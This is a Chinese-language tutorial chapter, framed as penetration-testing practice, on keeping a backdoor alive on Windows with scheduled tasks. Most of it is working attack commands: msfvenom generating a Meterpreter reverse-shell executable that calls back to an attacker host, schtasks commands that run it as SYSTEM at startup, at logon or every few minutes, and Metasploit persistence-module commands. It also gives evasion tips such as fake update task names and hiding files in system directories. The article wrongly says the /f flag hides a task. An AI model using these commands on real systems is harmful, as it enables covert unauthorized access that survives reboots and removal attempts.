3、Windows持久化-计划任务:利用schtasks创建计划任务实现后门持久化

持久化控制,说白了就是让后门程序在目标机器上“赖着不走”。

你想想看,好不容易拿下一台机器,结果用户重启一下,shell就丢了,那多尴尬。

Windows下的持久化手段很多,我个人最常用的就是计划任务。为什么?因为它够隐蔽,够稳定,而且几乎不会被杀软针对。

3.1 计划任务的基本原理

Windows计划任务(Task Scheduler)是系统自带的任务调度组件。它允许你在特定时间、特定事件触发时执行脚本或程序。

攻击者利用它,无非就是让后门在系统启动时用户登录时或者每隔几分钟自动运行一次。

我遇到过不少运维人员,他们只盯着启动项和注册表,却忽略了计划任务。有一次渗透测试,我就是在目标机器上留了个计划任务,结果对方排查了三天都没发现。

核心思路: 利用 schtasks.exe 命令行工具,创建隐藏或低权限的计划任务,定时反弹 shell 或执行 payload。

3.2 利用 Metasploit 生成 payload

首先,我们需要一个可执行的后门文件。用 msfvenom 生成一个反弹 shell 的 exe。

msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=192.168.1.100 LPORT=4444 -f exe -o backdoor.exe

嗯,这里要注意:payload 的架构要和目标系统匹配。32位系统用 x86,64位系统用 x64。我曾经见过有人拿 x64 的 payload 去打 32 位的机器,结果半天没反应,排查了半天才发现问题。

生成后,把 backdoor.exe 上传到目标机器。比如放在 C:\Windows\Temp\ 目录下,这个目录权限宽松,不容易引起怀疑。

3.3 使用 schtasks 创建持久化任务

schtasks 是 Windows 自带的命令行工具,功能非常强大。我们来看看几种常见的创建方式。

3.3.1 系统启动时运行

这种方式最直接,用户每次开机都会触发后门。

schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onstart /ru SYSTEM

参数说明:

参数 含义
/tn 任务名称,起个看起来正常的名字,比如 WindowsUpdate、GoogleUpdate
/tr 要执行的程序路径
/sc 触发类型,onstart 表示系统启动时
/ru 运行权限,SYSTEM 是最高权限
避坑指南: 我曾经用 onstart 方式创建任务,结果目标机器是笔记本,用户从来不关机只休眠。休眠不会触发 onstart,导致后门一直没上线。后来我改用了 onlogon,问题就解决了。

3.3.2 用户登录时运行

这种方式更通用,无论是开机还是休眠唤醒,只要用户登录就会触发。

schtasks /create /tn "GoogleUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru "SYSTEM"

我个人习惯用 onlogon 而不是 onstart。因为很多企业电脑设置了快速启动,onstart 的触发时机其实很微妙,而 onlogon 就稳定得多。

3.3.3 每隔一段时间运行

如果你担心后门被干掉,可以设置成每隔几分钟运行一次。这样即使被杀了,过一会儿又会复活。

schtasks /create /tn "MicrosoftEdgeUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc minute /mo 5 /ru SYSTEM

这个任务每5分钟执行一次后门。你想想看,就算管理员发现了进程并结束掉,最多5分钟,shell 又回来了。

注意: 频率不要太高。我曾经设成每1分钟执行一次,结果目标机器的 CPU 占用率一直下不来,被管理员发现了异常。建议设置成 10-30 分钟一次,既保证持久性,又不引起注意。

3.4 隐藏计划任务的技巧

光创建任务还不够,我们得让它看起来像正常的系统任务。

技巧一:伪装任务名称

用常见的系统更新或软件更新名称。比如:

  • WindowsUpdate
  • MicrosoftEdgeUpdate
  • GoogleUpdateTask
  • AdobeFlashPlayerUpdate

技巧二:隐藏任务

schtasks 支持一个隐藏参数,可以让任务在任务计划程序库中不可见。

schtasks /create /tn "WindowsUpdate" /tr "C:\Windows\Temp\backdoor.exe" /sc onlogon /ru SYSTEM /f

加上 /f 参数,如果任务已存在则强制覆盖。但说实话,这个隐藏功能在 Windows 10/11 上效果有限,有经验的管理员还是能通过命令行查看到。

技巧三:使用系统路径

把后门文件放在系统目录下,比如 C:\Windows\System32\ 或者 C:\Windows\SysWOW64\。这些目录文件众多,混在里面不容易被发现。

3.5 利用 Metasploit 模块自动创建

手动敲命令太麻烦?Metasploit 提供了现成的模块,一键创建计划任务后门。

use exploit/multi/handler
set payload windows/x64/meterpreter/reverse_tcp
set LHOST 192.168.1.100
set LPORT 4444
exploit -j

# 拿到 session 后,加载扩展
load extapi

# 创建计划任务持久化
run persistence -S -U -X -i 30 -p 4444 -r 192.168.1.100

参数说明:

  • -S:以 SYSTEM 权限运行
  • -U:用户登录时启动
  • -X:系统启动时启动
  • -i:反弹间隔(秒)
  • -p:端口
  • -r:IP 地址

这个模块会自动生成 payload 并创建计划任务。不过我个人建议还是手动操作,因为自动生成的 payload 特征比较明显,容易被杀软查杀。

3.6 清理痕迹

渗透测试结束后,记得清理掉留下的计划任务。

schtasks /delete /tn "WindowsUpdate" /f

删除后最好再确认一下:

schtasks /query /tn "WindowsUpdate"

如果返回“找不到指定的任务”,说明清理干净了。

我的习惯: 在创建任务时,我会把任务名称、路径、触发时间都记录下来。测试结束后,对照记录一条一条清理,确保不留尾巴。曾经有一次我忘了清理,结果客户的环境里一直有个后门在跑,虽然是无害的,但影响很不好。

3.7 本章知识体系

下面这张图总结了计划任务持久化的核心流程和关键点:

计划任务持久化核心流程 生成Payload msfvenom生成exe 上传后门 放到系统目录 创建计划任务 schtasks命令 上线 等待触发 三种触发方式 系统启动时 (onstart) 开机自动运行 用户登录时 (onlogon) 登录即触发 定时运行 (minute) 每隔N分钟执行 隐藏技巧 伪装任务名称 使用系统路径 隐藏参数 /f

说白了,计划任务持久化就是三步:生成后门、上传文件、创建任务。但真正考验功力的是细节——任务名称起什么、触发方式选哪个、文件放哪里。这些细节决定了你的后门能活多久。

我个人建议,在实际操作中多准备几套方案。如果 onstart 不行,就换 onlogon;如果每分钟触发太频繁,就改成每30分钟。灵活应变,才能在各种环境中站稳脚跟。

专注资料整理